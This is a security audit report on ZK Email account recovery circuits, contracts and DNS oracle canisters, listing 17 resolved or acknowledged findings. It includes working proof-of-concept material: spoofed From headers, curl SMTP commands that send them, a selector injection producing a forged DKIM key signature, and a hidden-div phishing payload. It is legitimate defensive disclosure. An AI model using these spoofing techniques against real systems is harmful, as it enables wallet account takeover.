ZK Email Account Recovery

Security Review Report

November 11, 2024

Contents

Disclaimer

THIS AUDIT REPORT HAS BEEN PREPARED FOR THE EXCLUSIVE USE AND BENEFIT OF IVY RESEARCH, LLC (THE “CLIENT”) AND SOLELY FOR THE PURPOSE FOR WHICH IT IS PROVIDED. WHILE REASONABLE EFFORTS HAVE BEEN MADE TO ENSURE THE ACCURACY AND COMPLETENESS OF THE FINDINGS AND RECOMMENDATIONS, MATTER LABS DOES NOT GUARANTEE THAT ALL POTENTIAL ISSUES HAVE BEEN IDENTIFIED OR THAT THE INFORMATION PROVIDED IS FREE FROM ERRORS OR OMISSIONS. THE REPORT IS BASED ON THE STATE OF THE CODE AT THE TIME OF THE AUDIT AND MAY NOT REFLECT CHANGES OR UPDATES MADE THEREAFTER.

THE AUDIT REPORT IS PROVIDED “AS IS” WITHOUT ANY WARRANTIES, EXPRESS OR IMPLIED. MATTER LABS EXPRESSLY DISCLAIMS ALL WARRANTIES, INCLUDING BUT NOT LIMITED TO IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS OF A PARTICULAR PURPOSE, OR NON-INFRINGEMENT.

THE FINDINGS AND RECOMMENDATIONS CONTAINED IN THIS REPORT ARE INTENDED TO ASSIST IN IMPROVING THE QUALITY AND SECURITY OF THE CODE. HOWEVER, THE IMPLEMENTATION OF THESE RECOMMENDATIONS IS AT THE SOLE DISCRETION AND RISK OF THE CLIENT. MATTER LABS WILL NOT BE LIABLE FOR ANY ACTIONS TAKEN BASED ON THE REPORT, NOR FOR ANY DIRECT, INDIRECT, INCIDENTAL, CONSEQUENTIAL, OR PUNITIVE DAMAGES ARISING FROM THE USE AND RELIANCE OF THIS REPORT.

Summary

Scope

This security review covers specific directories and files across several repositories related to the account recovery functionality within the ZK Email and Clave ecosystems. The review focuses on Circom circuits, Solidity smart contracts, and the compiler used in these projects. Below is a detailed breakdown of the audit scope, organized by each repository and its relevant directories:

1. ZK Email Verify Repository

- **Commit**: `fc9949763858ca363a73a2764d9c1d26ef227478`
- **Scope**:
  - **Circuits**: All Circom files located in the `packages/circuits` directory.
  - **Smart Contracts**: All Solidity files in the `packages/contracts` directory.

2. ZK Regex Repository

- **Commit**: `531575345558ba938675d725bd54df45c866ef74`
- **Scope**:
  - **Compiler**: All files in the `packages/compiler` directory.

3. Ether Email-Auth Repository

- **Commit**: `8a62db1e676aedbb20a403be95fffebef12b97e4`
- **Scope**:
  - **Circuits**: All Circom files in the `packages/circuits` directory.
  - **Smart Contracts**: All Solidity files in the `packages/contracts` directory.

4. Email Recovery Repository

- **Commit**: `041a882677622b580693d2a4f08d6661bf77ea89`
- **Scope**:
  - **Smart Contracts**: All Solidity files located in the `src` and `script` directories.

5. Clave Email Recovery Repository

- **Commit**: `c84a165605fe4774c73d99c9a5ae9ff4cbc45c71`
- **Scope**:
  - **Smart Contracts**: All files in the `contracts`, `deploy`, and `task` directories.

6. Ic-dns-oracle Repository

- **Commit**: `75cb12c3a3d6239bb8845581c5f0bf2b1a58ff8d`
- **Scope**:
  - **Smart Contracts**: All files located in the `src/poseidon` , `src/dns_client` , `src/ic_dns_oracle_backend`

7. Zk-email-verify Repository

- **Commit** : `057b8e95b7bca2884d8da384379c15be9975b30d`
- **Scope** :
  - `packages/contracts/UserOverrideableDKIMRegistry.sol`
  - `packages/contracts/test/UserOverrideableDKIMRegistry.t.sol`

8. ether-email-auth Repository[1]

- **Commit**: `19dcbd9bb15620b3d436b2342a56ecaa985ec936`
- **Scope**:
  - `packages/contracts/utils/ECDSAOwnedDKIMRegistry.sol`
  - `packages/contracts/test`

9. email-recovery Repository

- **Commit**: `f062ebf27db81eae5cbe9987c254a99318dde52f`
- **Scope**:
  - `script`
  - `test/Base.t.sol`

Fixes

Below is a breakdown of the final commits for the related repositories after the audit, where the identified issues have been addressed.

1. ZK Email Verify Repository

- **Commit**: `9ed3769dc3d96fb0d7c45f1f014dcd9bfb63675b`

2. ZK Regex Repository

- **Commit**: `7002a2179e076449b84e3e7e8ba94e88d0a2dc2f`

3. Ether Email Auth Repository

[1] Will be renamed to email-tx-builder-soon

- **Commit**: `984b5919a9be715b743b08863ab6471c2b5356a6`

4. Email Recovery Repository
    - **Commit**: `c866ecb3dd326fe17850c61a9e38eb3db8a45695`
5. Clave Email Recovery Repository
    - **Commit**: `a60eb9877f47f80459eefcf4639a350c96a43393`
6. IC DNS Oracle Repository
    - **Commit**: `0327db9ac701a908139fcef2994cff8ed2d5533f`

Findings Summary

The team identified a total of 17 issues during this security review, which were categorized based on their severity as follows:

- Critical: 3 issues
- High: 3 issues
- Medium: 6 issues
- Low: 5 issues

In addition to these findings, we also noted several observations regarding code quality and provided general recommendations for improvement.

Caveats

It is acknowledged that the design is still evolving, and significant changes may occur at any time. As such, this report should be regarded as a reference to the current state of the system design and used solely in that context.

The system has a vast attack surface at the intersection of web2 and web3 technologies. It includes a significant number of critical components, such as the zk-compiler, Circom circuits, Rust zk-regex compiler, ICP canisters, Solidity smart contracts, ZKsync contracts, DNS, DKIM, and SMTP protocols. Given the complexity and scale of these mechanisms, we believe that the system likely contains other critical and high-severity vulnerabilities that we were unable to identify, constrained by time, resources, and the size of the system.

Despite implementing advanced cryptographic and security mechanisms, as well as additional mitigation measures (e.g., timelock), and resolving all identified critical and high-severity vulnerabilities, we recommend conducting further security audits. Additionally, establishing a bug bounty program would provide ongoing security assurance.

Security Issues

1. Email spoofing via manipulated `From` header

Severity: Critical **Status:** Resolved

The ZK Email project relies on the FromAddrRegex circuit to extract the sender's email address from the email's `From` header. The circuit supports two formats for the `From` header: plain email address, handled in the EmailAddrRegex circuit, and email address with a name, handled in the EmailAddrWithNameRegex circuit. The `FromAddrRegex` circuit has two outputs: `out` and `reveal0`. The `out` output can be either `0` or `1`, indicating whether the `From` header contains a correct email address. The `reveal0` output contains the sender's email address.

Example of the `From` header with a name and an email address:

```
Unset
from:Sora Suegami <suegamisora@gmail.com>\r\n
```

Extracting the sender's email from the `From` header of a DKIM-signed email is a crucial step and a root of trust within ZK Email. If the attacker manages to persuade the verifier that the DKIM-signed email is from a different email address controlled by another user, it undermines the security of ZK Email.

We have identified that for at least two popular email services, `Outlook.com` and `Mail.ru`, it is possible to manipulate email addresses in the `From` header. This manipulation can cause the `FromAddrRegex` circuit to output a different email address that doesn't belong to the sender.

For example, through `Outlook.com` service, it's possible to send an email from `attacker@outlook.com` with the following `From` header:

```
Unset
from: "Some name <victim@any-domain>" < attacker@outlook.com>
```

Note the space between `<` and the email address in `< attacker@outlook.com>`. While the actual sender is `attacker@outlook.com`, the `FromAddrRegex` circuit outputs `victim@any-domain`. A fully functional malicious email can be crafted as follows:

```
Unset
from: "Sora Suegami <suegamisora@gmail.com>" < attacker@outlook.com>
To: <attacker@gmail.com>
Subject: This is a test

hack?
```

The above malicious email can be submitted using the following command:

```
Unset
curl -vvv --ssl-reqd \
  --url 'smtp://smtp-mail.outlook.com:587' \
  --user 'attacker@outlook.com:{password}' \
  --mail-from 'attacker@outlook.com' \
  --mail-rcpt 'relayer@gmail.com' \
  --upload-file mail.txt
```

Similarly, through the `Mail.ru` service, it's possible to send a DKIM-signed email from `attacker@mail.ru` with the following `From` header:

```
Unset
from:Some name <victim@any-domain> <attacker@mail.ru >
```

Note the space between the email address and `>` in `<attacker@mail.ru >`. While the real sender is `attacker@mail.ru`, the `FromAddrRegex` circuit outputs `victim@any-domain`. A fully functional malicious email can be crafted as follows:

```
Unset
from:Sora Suegami <suegamisora@gmail.com> <attacker@mail.ru >
To: <attacker@gmail.com>
Subject: This is a test

hack?
```

The above malicious email can be submitted using the following command:

```
Unset
curl -vvv --ssl-reqd \
  --url 'smtps://smtp.mail.ru:465' \
  --user 'attacker@mail.ru:{password}' \
  --mail-from 'attacker@mail.ru' \
```

```
--mail-rcpt 'relayer@gmail.com' \
--upload-file mail.txt
```

To run the PoC, save the code from Appendix 1 to `zk-regex/packages/circom/tests/hack.test.js` and then execute the following command:

```
Unset
yarn jest packages/circom/tests/hack.test.js
```

Recommendation:

We recommend a complete reimplementation of the `EmailAddrWithNameRegex` circuit to prevent the risk of disguising the email address in the name part of the `From` header, which can lead to spoofing. However, simply tightening the regular expressions to handle the specific cases highlighted in this issue may not be enough. Given the flexibility of the SMTP protocol and the diverse parsers used by SMTP servers, additional bypasses of the `EmailAddrWithNameRegex` circuit are likely to emerge.

2. `FromAddrRegex` circuit allows for email address spoofing

Severity: Critical **Status:** Resolved

The `regexp` compiler generates an unsound circuit for specific regular expressions. It is designed to match a prefix string, prefixed by `Prefix:`, that either starts from a new line or follows a CRLF sequence (`\r\n`).

For illustrative purposes, take the following example expression:

```
Unset
{
    "parts": [
        {
            "is_public": false,
            "regex_def": "(\r\n|^)Prefix:"
        },
        {
            "is_public": true,
            "regex_def": "\\w+"
```

```
        },
        {
            "is_public": false,
            "regex_def": "\r\n"
        }
    ]
}
```

The following input satisfies the circuit's Deterministic Finite Automaton (DFA). Consequently, the regex circuit reveals `abc` as an output even though the input is prefixed with `Anything123`. Note the `255` (`\xff`) value before the `Prefix:` prefix.

```
Unset
// Anything123\xffPrefix:abc\r\n
in: [
        65, 110, 121, 116, 104, 105, 110, 103, 49, 50, 51, 255, 80, 114, 101,
        102, 105, 120, 58, 97, 98, 99, 13, 10, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
        0, 0, 0, 0, 0, 0
    ]
```

The generated regexp circuit handles the value `255` in a special manner. Upon detecting this value in the input, it triggers a transition of the DFA to the state 0.

Similar regular expressions with `(\r\n|^)Prefix:` are extensively utilized in ZK Email as common regular expressions in the `zk-regex` repository. The FromAllRegex circuit plays a vital role in both the `EmailAuth` and `EmailAuthWithBodyParsing` circuits[2], enabling the extraction of the `From` header from an email. An attacker can exploit this issue by spoofing the `From` header for the `EmailAuthWithBodyParsing` circuit. They can achieve this by sending an email with the following `Subject` header.

```
Unset

subject: \xfffrom: victim@anydomain
```

We've observed that popular email providers (including Gmail) allow sending DKIM-signed emails with invalid UTF-8 encoded characters (such as `\xff` byte) in the `Subject` header.

[2] Since the fix commit, the `EmailAuth` circuit has been renamed to `EmailAuthLegacy`, and `EmailAuthWithBodyParsing` has been renamed to `EmailAuth`.

```
Unset
curl -vvv --ssl-reqd \
  --url 'smtp://smtp.gmail.com:587' \
  --user 'attacker@gmail.com:{password}' \
  --mail-from 'attacker@gmail.com' \
  --mail-rcpt 'relayer@domain'\
  --upload-file mail-255.txt
```

Such an email will mislead the verifier into believing that the attacker possesses `victim@anydomain` email address.

To run the PoC, save the code from Appendix 2 to the `zk-regex/packages/circom/tests/hack.test.js` file and then execute the following command:

```
Unset

yarn jest packages/circom/tests/hack.test.js
```

Recommendation:

We recommend modifying the regexp compiler to generate a robust circuit where the `255` value is disallowed in the input.

3. DKIM pubkey spoofing via URL parameter injection

Severity: Critical **Status:** Resolved

The `dns_client` canister sends an HTTP request to the https://dns.google/ endpoint to fetch a DKIM public key from a TXT record, where the name follows the format `some_selector._domainkey`. When constructing the full URL to query, the user's untrusted `selector` and `domain` inputs are concatenated with the fixed hostname `(dns.google)` and other query parameters. However, these user inputs are neither validated nor constrained.

Typically, the assembled URL to query the endpoint would look like this:

```
Unset
https://dns.google/resolve?name=google._domainkey.matterlabs.dev&type=TXT
```

However, a malicious user can manipulate the `selector` and `domain` parameters when invoking the `sign_dkim_public_key` method of the `ic_dns_oracle_backend` canister. For example:

- `selector` is set to `google._domainkey.matterlabs.dev&name=xx`
- `domain` is set to `any.domain`

This results in the following URL:

```Unset
https://dns.google/resolve?name=google._domainkey.matterlabs.dev&name=xx._domai
nkey.any.domain&type=TXT
```

Consequently, the `ic_dns_oracle_backend` canister generates a signed response, falsely indicating that the domain `any.domain` has the DKIM public key managed by `matterlabs.dev`. This enables an attacker to spoof DKIM signatures, posing a significant security risk.

```Unset
(variant {Ok=record
{signature="0x292648253083ccaa095977b195e412d65ee68af949f9b44fed6e0e548403e6726
f8ea7b85ad90b00abb3d41c03a409abec5b30db90534a89e7ab5bac9ae023f21c";
domain="any.domain";
public_key="0x8765da4200022daf7747d5fa4e0a62c58e54ad2ae8be4203d736424a4d2e26f76
57feb4829b119a714bb56776f01b4e10fa54ba79e3d9d87f44a1db815c8ec1cabb0dde471afe363
a1b9a06898284d23862eda51f799d6474a8a4b6d7a5c275eecddc94a1d9185371f8709deb48f52f
319641e9728321222cfdd4216c53f0189bd8156a49e6dd44ec01a65be260fded98e8bff2726a407
330d403961a80b6c572aeaa2c09a5463186549021bdcac3b9baed4aa7a364428cef63dc9519b404
d2756e13152e6bcb1959d267e478d2212d7d6d30e0642307261b7d887065053164a8d7fcf36609b
e1208d175247a56480e0895c29cdacf2048f0e93f2fc7ee0f65b";
selector="google._domainkey.matterlabs.dev&name=xx";
public_key_hash="0x0fa8f9303b08e5751b274a16394c2b5908f8158e1d731935576438ae7a6f
7e0f"}})
```

Recommendation:

We recommend implementing strict validation of the `selector` parameter to prevent unauthorized manipulation, which could lead to a rogue domain injection and potential spoofing attacks.

4. Malicious guardians can delay account recovery via front-running

Severity: High **Status:** Resolved

In the current recovery process, the `handleRecovery` function allows the first guardian to set the `recoveryDataHash` variable, which determines the new account owner once recovery is finalized. A malicious guardian can exploit this by being the first to invoke `handleRecovery` and setting the `recoveryDataHash` to point to themselves.

Consider a scenario where a malicious guardian is the first to call the `handleRecovery` function, setting the `recoveryDataHash` variable to themselves. Other guardians will not send their recovery requests because if they do, the account will be taken over by the rogue guardian. The only thing they can do is wait until the recovery request expires. However, once this happens, the rogue guardian can call `cancelExpiredRecovery` and `handleRecovery` in the same transaction, holding off the recovery again. If the malicious guardian succeeds in front-running other guardians, they can hold off recovery if they wish to pay transaction fees. It is impossible to remove the rogue guardian at this point since access to the account is lost; thus, the `removeGuardian` function cannot be called.

The impact is high because if the account to be recovered holds enough governance tokens to overturn the result of a governance vote, holding off on the recovery might decide the outcome of the vote.

Recommendation:

We recommend adding a penalty to guardians who initiate an expired recovery. For example, such a guardian cannot initiate the very next recovery or cannot initiate a recovery for a certain period.

5. Malicious guardians can recover an account by bypassing the threshold mechanism

Severity: High **Status:** Resolved

Based on an email from a guardian address, a relayer can call the `EmailAccountRecovery.handleRecovery()` external function, providing a ZK-proof and other parameters inside the `EmailAuthMsg` struct to kick off the recovery process.

Guardians are represented by a deployed `EmailAuth` contract. For a guardian to participate in a recovery, they should have a `GuardianStatus.ACCEPTED` status in the `GuardianStorage` of the `EmailRecoveryManager` contract. A wallet-owner account can assign multiple guardians for the recovery process, with each guardian having its own weight. When the `EmailAccountRecovery.handleRecovery()` function is called for the guardian with a valid ZK-proof, the value of `recoveryRequest.currentWeight` is incremented by the guardian's weight. To finalize the recovery process, the sum of weights in `recoveryRequest.currentWeight` should be equal to or greater than `guardianConfig.threshold`.

Currently, the `EmailRecoveryManager` doesn't prevent a scenario where the same guardian sends multiple account recovery emails. Consequently, `recoveryRequest.currentWeight` will be incremented multiple times by the same guardian in this case. Consider the following attack scenario. A wallet owner has assigned multiple guardians with varying weights, and one with the lowest weight is hacked. The attacker can send a few recovery emails from the compromised email account to recover the wallet-account to an attacker-controlled public key, bypassing the threshold mechanism with multiple guardians. The `EmailRecoveryManager` contract includes protection against replay attacks for the same email using email nullifiers, representing a Poseidon hash value of the message signature. However, this protection does not address the scenario described above since the attacker can send the same command within the body but a different subject, resulting in a different DKIM-signature and email nullifier.

Recommendation:

We recommend implementing a check to ensure that a specific guardian has already sent a recovery email for the current recovery request. This will help avoid using multiple emails for the same recovery request from a single guardian.

6. An attacker can trick the victim into executing a ZK Email command

Severity: High **Status:** Resolved

Currently, a user needs to send an email to a relayer containing the following `<div>` element in the body to execute a specific ZK Email command.

```
Unset
<div id=3D"zkemail">ZK Email command here</div>
```

In other words, the relayer needs only an email from a specific person with a `<div>` element in the body to create proof and carry out the command on the person's behalf. Note that a relayer knows the account code.

ZK Email doesn't check for signs of possible phishing attacks by observing other parts of the email, such as:

- Reviewing any additional data within the email body.
- Checking the subject header of the email.
- Checking whether it's a replied email or the first email.

This can lead to the following attack scenario where the attacker tricks a guardian to perform the recovery process:

- The attacker is a relayer or another guardian who knows the account code for the wallet account.
- The attacker sends a greeting email with a hidden command element `<div style="visibility:hidden"><div id=3D"zkemail">Recover account 0x... via recovery module 0x... to owner ATTACKER</div></div>` in the body to the guardian.
- The attacker provokes the guardian into replying to them.
- If the guardian replies, the attacker can use the reply email to generate a proof and start the recovery process of the victim's wallet to their public key.
- The attacker can additionally precompute partial SHA-256 for the email body, therefore excluding (shrinking) unnecessary content and leaving only the command `<div style="visibility:hidden"><div id=3D"zkemail">...</div></div>` in the padded_body_len when computing a proof.

Recommendation:

We recommend implementing additional security mechanisms against the phishing attacks described in the ZK Email workflow. One potential mitigation could be requiring that emails include a specific string in the subject line for body-parsed commands. This string would signal to users that sending the email will trigger the execution of a ZK Email command.

7. `EmailAuth` circuit doesn't work with specific email addresses and domain names

Severity: Medium **Status:** Resolved

The `EmailAuth` circuit has issues with specific email addresses and domain names. Specifically, it fails to generate proof for commands like `Send 0.1 ETH to donate@codef.be`, where `codef.be` is a valid domain for the `Coordination et Défense des Services Sociaux, Culturels et Environnementaux`.

The problem lies in the `InvitationCodeWithPrefixRegex` regular expression used by the circuit to search for the account code in the subject of the email:

```
Unset
( )?(c|C)ode( )?(0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f)+
```

That overlaps with the `EmailAddrRegex` regular expression, which is responsible for extracting an email address from the subject. As a result, it incorrectly identifies the subject `Send 0.1 ETH to donate@codef.be` as containing an account code when it does not. Therefore, the constraints won't match for such emails/domain names that overlap with the `InvitationCodeWithPrefixRegex` regular expression.

Recommendation:

We recommend reviewing the `InvitationCodeWithPrefixRegex` circuit to prevent potential overlaps between the account code and the email/domain name.

8. Timestamp check cannot be adjusted

Severity: Medium **Status:** Acknowledged

The `setTimestampCheckEnabled()` function in the `EmailAuth` contract has an `onlyController` modifier and allows the recovery module to adjust the timestamp check once needed. However, by default, the check is enabled.

There might be a situation when the SMTP server inserts an incorrect timestamp value within the `DKIM-Signature` header. In this case, invoking the `EmailAuth.authEmail()` function becomes impossible because of the `require` statement in line 218. As a result, the `EmailRecoveryModule` contract in Clave cannot invoke the `handleAcceptance()` or `handleRecovery()` functions since the `EmailRecoveryModule` contract has no methods to deactivate the timestamp check by calling `EmailAuth.setTimestampCheckEnabled()`.

Recommendation:

We recommend adding functionality to the `EmailRecoveryModule` contract to adjust the timestamp check.

Status details:

Upon review and discussion with Clave, it has been determined that the option to disable the timestamp check will not be implemented. The reasoning is twofold: (1) disabling the timestamp check could introduce a new attack vector, increasing security risks, and (2) Clave imposes restrictions on the email domains available for guardians, further mitigating certain risks. While this decision enhances security for Clave, it should be noted that other wallet providers or implementations of ether-email-auth may choose to offer this option at their discretion.

9. Underconstrained `FpMul` circuit

Severity: Medium **Status:** Resolved

The `FpMul` circuit is used to multiply two inputs, `a` and `b`, within a field that contains `p` elements, resulting in `ab = r mod p`. It calculates the quotient and remainder by invoking the `long_div()` function. Subsequently, it assigns values to the `q[i]` and `r[i]` signals using the `<--` operator. It later conducts range checks for the `q[i]` and `r[i]` signals utilizing the `Num2Bits` template. Nonetheless, it doesn't constrain the modulo to be greater than the remainder, `P > R`. It turns out that it's possible to modify the assignments of `q[i]` and `r[i]` signals to values that pass range checks but result in `P < R`. For example, for the `FpMul(256,2)` circuit, it's possible to modify the circuit by setting `Q=(0,0)` and `R=(16,0)`.

```
Unset
q[0] <-- 0;
q[1] <-- 0;
r[0] <-- 16;
r[1] <-- 0;
for (var i = 0; i < k; i++) {
    // q[i] <-- long_div_out[0][i];
    q_range_check[i] = Num2Bits(n);
    q_range_check[i].in <== q[i];

    // r[i] <-- long_div_out[1][i];
    r_range_check[i] = Num2Bits(n);
    r_range_check[i].in <== r[i];
}
```

As a result, the circuit, given the inputs `A=(4,0)`, `B=(4,0)`, `P=(5,0)`, outputs `(16,0)` instead of expected `(1,0)`.

The `FpMul` circuit plays a vital role as it is utilized by the `RSAVerifier65537` circuit to compute the value of `signature^65537 mod pubkey_modulus`. Despite our efforts, we have not identified an exploit for forging DKIM signatures because of additional constraints in the `EmailAuth` and `EmailAuthWithBodyParsing` circuits; therefore, this issue has been raised as medium risk.

Recommendation:

We recommend adding constraints to the `FpMul` circuit to ensure that `P > R`.

10. `EmailRecoveryContract` is not compatible with ZKsync

Severity: Medium **Status:** Resolved

The `EmailRecoveryContract` contract for Clave is malfunctioning on ZKsync due to improper initialization of the `ERC1967Proxy` when invoking the `deployEmailAuthProxy` function to deploy the `EmailAuth` contract. As a result, the `EmailRecoveryModule` contract becomes non-functional post-deployment, rendering it unusable.

Recommendation:

We recommend using the latest version of `zksolc` and computing the `ERC1967Proxy` bytecode with `zksync-ethers` utils. Additionally, we recommend overriding `computeEmailAuthAddress` and `deployEmailAuthProxy` functions within the `EmailRecoveryContract` contract to utilize the computed `ERC1967Proxy` bytecode as a parameter for calls to `L2ContractHelper.computeCreate2Address` and `SystemContractsCaller.systemCallWithReturndata`.

11. `get_ethereum_address` lacks integrity

Severity: Medium **Status:** Acknowledged

The query methods `ic_cdk::query` do not offer the same integrity guarantees as the update methods `ic_cdk::update`. This is because query methods are not protected by the consensus mechanism, and a single replica or boundary node can interfere with the response. The `get_ethereum_address` method of the `ic_dns_oracle_backend` canister returns the Ethereum address used for signing. This address is then utilized to initialize the `mainAuthorizer` state variable of the `UserOverrideableDKIMRegistry` contract and the `signer` state variable of the `ECDSAOwnedDKIMRegistry` contract.

However, as the result of `get_ethereum_address` isn't trustworthy, there is a possibility that `UserOverrideableDKIMRegistry` and `ECDSAOwnedDKIMRegistry` contracts could be initialized with a malicious `mainAuthorizer` and `signer` addresses.

Recommendation:

We recommend using the certified variables approach for the `get_ethereum_address` function.

Status details:

Developers should use the `init_signer_ethereum_address` function instead of `get_signer_ethereum_address`. This function is an `ic_cdk::update` function designed to initialize the signer's ethereum address. If the address is already initialized, the function will simply return the stored address. Being an `ic_cdk::update` method, it ensures integrity guarantees.

12. Denial of service condition via cycle depletion in `ic_dns_oracle_backend`

Severity: Medium **Status:** Resolved

The `ic_dns_oracle_backend` ICP canister allows anyone to call `sign_dkim_public_key` and `revoke_dkim_public_key` functions. According to the ICP's reverse gas model, the canister pays for cycles when a user calls one of its public functions by sending an ingress message. Therefore, the developer usually takes care of authorization and adequate cycle balance for the canister. The canister might be removed from the network if it runs out of cycles.

Both `sign_dkim_public_key` and `revoke_dkim_public_key` functions check cycles available in the message by calling `msg_cycles_available128`, and after it accepts cycles to the canister's balance by calling `msg_cycles_accept128`. However, it doesn't enforce the minimum amount of cycles in the ingress message. As a result, an attacker can deplete the cycles balance of the canister by calling `sign_dkim_public_key` or `revoke_dkim_public_key` functions repeatedly, ensuing DoS in case the canister got removed from the network due to it running out of cycles.

When the canister is removed and redeployed, the new canister will have a different canister ID, ECDSA public key, and Ethereum address. As a result, any newly signed DKIM public key will not be recognized by the `UserOverrideableDKIMRegistry` contract, which is configured with the different `mainAuthorizer` address during initialization.

Recommendation:

We suggest enforcing in the `sign_dkim_public_key` and `revoke_dkim_public_key` functions that an ingress message contains sufficient cycles to cover the call.

13. Critical events are not observable

Severity: Low **Status:** Resolved

The following state-changing functions are not emitting events, making it difficult to track critical actions of the contract:

- The `processRecovery` function emits an event only when the threshold is surpassed. However, it does not emit an event for all other invocations.
- The `changeSigner` privileged function in the `ECDSAOwnedDKIMRegistry` contract does not emit an event after the signer address has been updated.

- The privileged functions changeSourceDKIMRegistry and resetStorageForUpgradeFromECDSAOwnedDKIMRegistry in the `ForwardDKIMRegistry` contract do not emit an event after the state change.

Recommendation:

We recommend emitting events in the aforementioned cases.

14. String trimming does not account for UTF8 characters

Severity: Low **Status:** Resolved

The `EmailAuth.removePrefix` function attempts to remove a certain number of characters from the beginning of a string in lines 285-300. However, it assumes that it is handling single-byte ASCII characters, while Solidity also supports UTF-8. If a UTF-8 multibyte char is part of the chars to be trimmed, it will result in an incorrect value and make any call to `authEmail` fail, locking the application.

It should be noted that the project planned to support additional languages in the future that make use of different character sets, making this issue a direct concern.

Recommendation:

We recommend ensuring that trimmed bytes represent complete characters, removing additional bytes if not.

15. `EmailRecoveryManager` delay can be set to zero

Severity: Low **Status:** Resolved

The `EmailRecoveryManager` contract allows for `recoveryConfig.delay` to be equal to or less than `recoveryConfig.expiry`, without further restrictions, in lines 229-249. This allows for a delay of zero or very small that does not leave time to react in case an unwanted recovery is attempted, effectively disabling this feature.

Recommendation:

We recommend deciding on a minimum delay value for enough reaction time in the above-case scenario.

16. Single guardian setup is allowed

Severity: Low **Status:** Acknowledged

The `GuardianManager` contract does not enforce that guardians' `weight` stays below `guardianConfigs[].threshold` in lines 121-129. This allows configurations where a single guardian can vote to initiate the recovery process. Given the increased attack surface posed by the usage of email inboxes, the risk of unauthorized recovery attempts to steal access to an Ethereum address significantly increases, presenting a considerable security concern.

Recommendation:

We recommend requiring that at least two guardians vote in a recovery process for it to be initiated, for example, by requiring every guardian's `weight` to be strictly below the `threshold`.

Status details:

The client has stated that a single guardian setup is explicitly permitted, as the guardian configuration is designed to be flexible and accommodate various use cases. It is the responsibility of the end user to ensure that the threshold and guardian weights are appropriately configured, similar to how a multisig wallet is set up by the user. Additionally, Clave is moving to production with a single guardian setup, making this configuration a specific requirement from their side.

17. Bypass of DKIM public key hash validation due to incorrect threshold logic

Severity: Low **Status:** Resolved

The `isDKIMPublicKeyHashValid` function returns an incorrect result when the `mainAuthorizer` address is provided as the `authorizer` parameter.

In cases where the `enabledTimeOfDKIMPublicKeyHash` period has not yet elapsed, the `_computeSetThreshold` call returns `3` instead of `1`, causing `isDKIMPublicKeyHashValid` to incorrectly return `true` instead of `false`.

Recommendation:

We recommend revising the implementation of `_computeSetThreshold` and `_computeRevokeThreshold` functions to consider the edge case where `authorizer` is `mainAuthorizer`.

Observations

1. ZKemail aims to hide guardian email addresses by mixing them with an account code into an account salt. However, the guardian email address can be obtained from the account salt via brute-force attack if the account code is known to the attacker. Several factors make brute-force feasible: (1) most email addresses consist of only alphanumeric characters, (2) email addresses are usually meaningful (e.g., a nickname, first and last names together, etc.), and (3) the domain part of the email can be chosen from a small subset of values (e.g., `@gmail.com`, `@matterlabs.dev`, etc.). These factors allow dictionary-based brute force to be leveraged. We raise this as an observation because the account code is generated by the guardian and revealed to a relayer, so as long as the attacker does not know the account code, brute force is not feasible. A guardian should run a local relayer if they want stronger privacy guarantees.
   Status: Acknowledged.
   Status details: The client has acknowledged that they do not guarantee the privacy of the email address from a relayer or an adversary who obtains access to the account code. However, they emphasize that this does not imply that such an exposure would compromise the security or liveness of the user's account.

2. Guardians can delay their removal by front-running a `removeGuardian` function call with a `handleRecovery` function call. This happens because `handleRecovery` transitions the account into recovery mode; thus, `removeGuardian` reverts because it has the `onlyWhenNotRecovering` modifier. We raise this as an observation because the account owner can bundle the `cancelRecovery` and `removeGuardian` calls into a single transaction, thus leaving no room for front-running.
   Status: Acknowledged.
   Status details: The client has decided not to take further action on this issue, as it can be mitigated by bundling the `cancelRecovery` and `removeGuardian` functions altogether. This approach allows users to avoid potential risks without additional modifications.

3. The `deployEmailAuthProxy` function does not check the `success` value returned by the `ZKSyncCreate2Factory::deploy` function. Although we have not identified an exploitation scenario, we decided to raise this as a best practice concern.
   Status: Resolved.

4. Some `EmailAuth` contract's functions (152, 169, 186, 198, 272) are documented with "This function can only be called by the owner of the contract". However, those functions can only be called by the controller instead, as they have the `onlyController` modifier.
   Status: Resolved.

5. The `Sha256Partial` circuit declares components `ha0`, `hb0`, `hc0`, `hd0`, `he0`, `hf0`, `hg0`, `hh0`, but it never uses the outputs from those sub-circuits.
   Status: Resolved.

6. The `ECDSAOwnedDKIMRegistry` contract lacks cross-chain/cross-contract signature replay protection as it doesn't include `chain.id` and the contract's address in the ECDSA signature.
   Status: Acknowledged.
   Status details: The client has chosen not to implement cross-chain replay protection for account recovery because the same public key should or can be enabled and revoked across all chains in the context of recovery. However, this does not prevent other applications using ether-email-auth (email-tx-builder) from implementing replay protection by including a chain ID in the command, should they choose to do so.

7. The `validateRecoveryCommand` function verifies the correctness of the recovery command parameters and reverts if they're incorrect. However, in this context, `address(this)` actually refers to the address of the `EmailRecoveryCommandHandler` contract rather than the `EmailRecoveryModule` contract, as the `recoveryModuleInEmail` variable name implies.
   Status: Resolved.

8. There might be a scenario where Clave `EmailRecoveryModule` contracts are deployed on different chains, and both `EmailRecoveryModule` and the wallet account have the same addresses on both chains. In this case, the acceptance and recovery requests can be replayed due to the absence of cross-chain replay protection.
   Status: Acknowledged.
   Status details: The client has chosen not to implement cross-chain replay protection for account recovery because the same public key should or can be enabled and revoked across all chains in the context of recovery. However, this does not prevent other applications using ether-email-auth from implementing replay protection by including a chain ID in the command, should they choose to do so.

9. The `Groth16Verifier` contract doesn't validate that coordinates of each elliptic curve point `_pA`, `_pB`, `_pC`, representing a ZK-proof, are within the base field (i.e., less than `q`). This causes an arithmetic underflow when computing negative `_pA` points during pairing operations since the YUL language lacks the underflow protection that Solidity provides.
   Status: Resolved.

Appendix 1. The proof of concept for Issue 1

```JavaScript
import circom_tester from "circom_tester";
import * as path from "path";
import { readFileSync, writeFileSync } from "fs";
import apis from "../../apis/pkg/zk_regex_apis";
import compiler from "../../compiler/pkg/zk_regex_compiler";
const option = {
  include: path.join(__dirname, "../../../node_modules"),
};
const wasm_tester = circom_tester.wasm;

jest.setTimeout(600000);
describe("PoC", () => {
  let circuit;
  beforeAll(async () => {
    {
      const email_addr_json = readFileSync(
        path.join(__dirname, "../circuits/common/from_all.json"),
        "utf8"
      );
      const circom = compiler.genFromDecomposed(
        email_addr_json,
        "FromAllRegex"
      );
      writeFileSync(
